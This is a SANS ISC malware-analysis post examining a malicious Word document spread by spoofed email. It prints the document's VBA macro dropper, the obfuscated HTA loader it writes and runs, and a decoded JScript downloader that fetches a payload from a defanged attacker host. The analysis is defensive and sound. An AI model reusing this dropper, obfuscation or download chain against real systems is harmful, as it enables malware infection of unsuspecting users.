Threat Level: green Handler on Duty: Johannes Ullrich

SANS ISC: InfoSec Handlers Diary Blog InfoSec Handlers Diary Blog


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Malicious Microsoft Word Remains A Key Infection Vector

Published: 2021-08-06
Last Updated: 2021-08-06 08:03:25 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

Despite Microsoft's attempts to make its Office suite more secure and disable many automatic features, despite the fact that users are warned that suspicious documents should not be opened, malicious Word documents remain a key infection vector today. One of our readers (thanks Joel!) shared a sample that he received and, unfortunately, opened on his computer. The document was delivered to him via a spoofed email (sent by a known contact). The document ("legal paper.08.04.2021.doc") was delivered in a protected ZIP archive and has a VT score of 11/58[1]. This remains a very low score for a simple Word document. It deserved to have a look at the content.

The document has a classic trick: it asks the user to enable the macro by pretending to have been generated by a previous Word version. Let's check the macro:

remnux@remnux:/MalwareZoo/20210805$ oledump.py legal\ paper.08.04.2021.doc 
A: editdata.mso
 A1:       438 'PROJECT'
 A2:        86 'PROJECTwm'
 A3: M    1352 'VBA/ThisDocument'
 A4:      2898 'VBA/_VBA_PROJECT'
 A5:      1720 'VBA/__SRP_0'
 A6:       190 'VBA/__SRP_1'
 A7:       532 'VBA/__SRP_2'
 A8:       156 'VBA/__SRP_3'
 A9: M    1693 'VBA/coreHtml'
A10:       604 'VBA/dir'
A11: M    1494 'VBA/varBr'
remnux@remnux:/MalwareZoo/20210805$ oledump.py legal\ paper.08.04.2021.doc -s 3 -v 
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub document_open()
i "", "cmd.exe /s /c "
End Sub
remnux@remnux:/MalwareZoo/20210805$ oledump.py legal\ paper.08.04.2021.doc -s 9 -v 
Attribute VB_Name = "coreHtml"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Function procComps(varIFunc)
procComps = "c:\\programdata\\index.h" & varIFunc
End Function
Public Sub compsTo(brCodeVar, varIFunc)
Open brCodeVar For Output As #1
Print #1, varIFunc
Close #1
End Sub
remnux@remnux:/MalwareZoo/20210805$ oledump.py legal\ paper.08.04.2021.doc -s 11 -v 
Attribute VB_Name = "varBr"
Function procCoreFor()
procCoreFor = ActiveDocument.Content
End Function
Public Sub i(iDefineHtml, forBrCompare)
Set toFor = New coreHtml
iDefineHtml = toFor.procComps("TA")
coreProcCode = Replace(procCoreFor, "tumdl", vbNullString)
toFor.compsTo iDefineHtml, coreProcCode
Call VBA.Shell(forBrCompare & iDefineHtml)
End Sub

The malicious macro is split into three streams and is not very complex:

document_open() calls i() where an HTA file name is generated ("C:\Programdata\index.hta"). The content of this file is extracted from the document itself (via the "ActiveDocument.Content" object property). Indeed, if we select all the text, increase the font size, and change the color we see this in the Word document:

Simple but it remains effective! The code is polluted with "tumdl" strings that are removed on the fly:

coreProcCode = Replace(procCoreFor, "tumdl", vbNullString)

Here is the (beautified) code:

<html>
<body>
    <div id='varCompsBr'>fX17KWUoaGN0YWN9O2Vzb2xjLmVsYmFpcmFWcmFWcmF2OykyICwiZ3BqLmNudUZlbmlmZURlbmlmZWRcXGNpbGJ1cFxcc3Jlc3VcXDpjIihlbGlmb3RldmFzLmVsYmFpcmFWcmFWcmF2Oyl5ZG9iZXNub3BzZXIuY251RmxtdEhjbnVmKGV0aXJ3LmVsYmFpcmFWcmFWcmF2OzEgPSBlcHl0LmVsYmFpcmFWcmFWcmF2O25lcG8uZWxiYWlyYVZyYVZyYXY7KSJtYWVydHMuYmRvZGEiKHRjZWpiT1hldml0Y0Egd2VuID0gZWxiYWlyYVZyYVZyYXYgcmF2e3lydHspMDAyID09IHN1dGF0cy5jbnVGbG10SGNudWYoZmk7KShkbmVzLmNudUZsbXRIY251ZjspZXNsYWYgLCJ2NjJSWHJtalA9ZW1pdCZiSk9Od3YwN1VKNHlRNWc9ZWdhcCZuUDFmSFpQUzBTamZ6VHd2YVdZazZyPWZlcj83cm9neWsvZktBVERhYjlwTGV1ekd3TkZCanVKRnAveDQ4b202b3hOTEZOMFJSRkVEbWJTVTZUa1dzT2N3bXU2VmNXZVZUSWQvT2VwV05VVkNHcWFNWnJyT002dkR6M0REbnRES0swTG5JT1BwTnk1ZjJtalBZL3hDbm1odm5lc0c2L0ZiQWh1TS9HeTdnaUZrZlBNNERrMTYvNUhFUjZGQnNJaHo4N2lyclcxRHBtZTN5MGM2VTNJRzE5M2RWdDBCN0QvaGZkYi9tb2MuZGxhbnJlYnJvdGF2ZWxlLy86cHR0aCIgLCJURUciKG5lcG8uY251RmxtdEhjbnVmOykicHR0aGxteC4ybG14c20iKHRjZWpiT1hldml0Y0Egd2VuID0gY251RmxtdEhjbnVmIHJhdg==w1XrZOykiZ3BqLmNudUZlbmlmZURlbmlmZWRcXGNpbGJ1cFxcc3Jlc3VcXDpjIDIzcnZzZ2VyIihudXIuc3Btb0NvVGVyYXBtb2M7KSJ0Y2VqYm9tZXRzeXNlbGlmLmduaXRwaXJjcyIodGNlamJPWGV2aXRjQSB3ZW4gPSByQmVsYmFpcmFWcm9mIHJhdjspImxsZWhzLnRwaXJjc3ciKHRjZWpiT1hldml0Y0Egd2VuID0gc3Btb0NvVGVyYXBtb2MgcmF2w1XrZbG9ydG5vY3RwaXJjcy5sb3J0bm9jdHBpcmNzc20=</div>
    <div id='forToCode'>UVWXYZabcdefghijklmnopqrst</div>
    <script language='javascript'>
        function forCoreCore(forCodeHtml){
            return(new ActiveXObject(forCodeHtml));
        }
        function defineHtmlVar(codeCompsVar){
            return(toHtmlBr.getElementById(codeCompsVar).innerHTML);
        }
        function toToFunc(){
            return('ABCDEFGHIJKLMNOPQRST' + defineHtmlVar('forToCode') + 'uvwxyz0123456789+/');
        }
        function varVarCode(htmlProcHtml){
            return('cha' + htmlProcHtml);
        }
        function compareBrFunc(s){
            var e={}; var i; var b=0; var c; var x; var l=0; var a; var forProcDefine=''; var w=String.fromCharCode; var L=s.length;var forToFunc = varVarCode('rAt');for(i=0;i<64;i++){e[toToFunc()[forToFunc](i)]=i;}for(x=0;x<L;x++){c=e[s[forToFunc](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(forProcDefine+=w(a));}}return(forProcDefine);
        };
        function varVariableVar(brForHtml){
            return brForHtml.split('').reverse().join('');
        }
        function coreForComps(htmlProcHtml){
            return(varVariableVar(compareBrFunc(htmlProcHtml)));
        }
        function compareI(htmlProcHtml, varVarProc){
            return(htmlProcHtml.split(varVarProc));
        }
        compsBrVar = window;
        toHtmlBr = document;
        compsBrVar.resizeTo(3, 3);
        compsBrVar.moveTo(-121, -121);
        var procITo = compareI(defineHtmlVar('varCompsBr'), 'w1XrZ');
        var toIComps = coreForComps(procITo[0]);
        var toProcHtml = coreForComps(procITo[1]);
        var defineDefineCode = coreForComps(procITo[2]);
    </script>
    <script language="javascript">function compsCodeI(codeCompsFor, codeVarCode){var toDefineVar = function(brForHtml){if(codeVarCode !== ""){return(new Function(brForHtml));}};toDefineVar(codeCompsFor)();}
    </script>
    <script language='vbscript'>Function compareCompareFunc(varCompsBr):Set compareHtmlBr = CreateObject(defineDefineCode):With compareHtmlBr:.language = "jscript":.timeout = 60 * 1000 * 8:End With:compareHtmlBr.eval(compsCodeI(varCompsBr, "htmlProcHtml")):End Function</script>
    <script language='vbscript'>Call compareCompareFunc(toIComps)
    </script>
    <script language='vbscript'>Call compareCompareFunc(toProcHtml)
    </script>
    <script language='javascript'>compsBrVar['close']();
    </script>
</body>
</html>

The first Base64 encoded string decodes into (Base64 + reversed string):

var funcHtmlFunc = new ActiveXObject("msxml2.xmlhttp");funcHtmlFunc.open("GET", "hxxp://elevatorbernald[.]com/bdfh/D7B0tVd391GI3U6c0y3empD1Wrri78zhIsBF6REH5/61kD4MPfkFig7yG/MuhAbF/6GsenvhmnCx/YPjm2f5yNpPOInL0KKDtnDD3zDv6MOrrZMaqGCVUNWpeO/dITVeWcV6umwcOsWkT6USbmDEFRR0NFLNxo6mo84x/pFJujBFNwGzueLp9baDTAKf/kygor7?ref=r6kYWavwTzfjS0SPZHf1Pn&page=g5Qy4JU70vwNOJb&time=PjmrXR26v", false);funcHtmlFunc.send();if(funcHtmlFunc.status == 200){try{var varVarVariable = new ActiveXObject("adodb.stream");varVarVariable.open;varVarVariable.type = 1;varVarVariable.write(funcHtmlFunc.responsebody);varVarVariable.savetofile("c:\\users\\public\\defineDefineFunc.jpg", 2);varVarVariable.close;}catch(e){}}

The next payload was not available for download:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "kygor7" was not found on this server.</p></body></html>

I tried several User-Agents, IP addresses but impossible to get the file.

As you can see with this sample, no need to implement very complex obfuscation techniques to bypass most antivirus solutions. The best protection remains to remain suspicious when a document is received "out of nowhere". Stay safe!

[1] https://www.virustotal.com/gui/file/9bd5e5eeffd0fb4e1cc9762b1a8c0571d9208aa140075ce5a0e33be29844610e/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
Diary Archives